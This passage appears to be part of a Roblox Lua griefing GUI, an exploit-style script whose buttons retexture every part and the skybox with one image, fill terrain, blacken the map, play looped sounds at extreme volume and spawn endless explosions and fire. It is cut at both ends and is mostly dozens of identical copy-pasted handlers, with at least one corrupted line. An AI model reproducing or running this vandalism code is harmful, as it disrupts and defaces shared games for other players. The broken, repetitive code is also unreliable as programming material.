if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Two.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Three.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Four.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Five.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Six.Texture = "http://www.roblox.com/asset/?id=111604272791927"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head818
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game:GetService("Lighting")
s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927"
game:GetService("Lighting").TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB:
end;
task.spawn(C_b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_d()
local script = G2L["d"];
function click()
Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_d);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_f()
local script = G2L["f"];
script.Parent.MouseButton1Click:Connect(function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1, 0.933333, 0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Fire Yellow';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1, 0.968627, 0);
a.Range=15;
a.Brightness=5;
end;
local dec = 'http://www.roblox.com/asset/?id=19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for ,_ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face =
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
end)
end;
task.spawn(C_f);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_11()
local script = G2L["11"];
function onClick()
local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079"
uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_11);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_13()
local script = G2L["13"];
function onClick()
local tubers93 = Instance.new("Sound")
tubers93.Parent = game:GetService("Workspace")
tubers93.SoundId = "rbxassetid://6129291390"
tubers93.Playing = true
tubers93.Looped = false
tubers93.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_13);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_15()
local script = G2L["15"];
script.Parent.MouseButton1Down:Connect(function()
while true do
explosion = Instance.new("Explosion")
explosion.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
explosion.Parent = game.Workspace
wait()
end
end)
end;
task.spawn(C_15);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_17()
local script = G2L["17"];
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
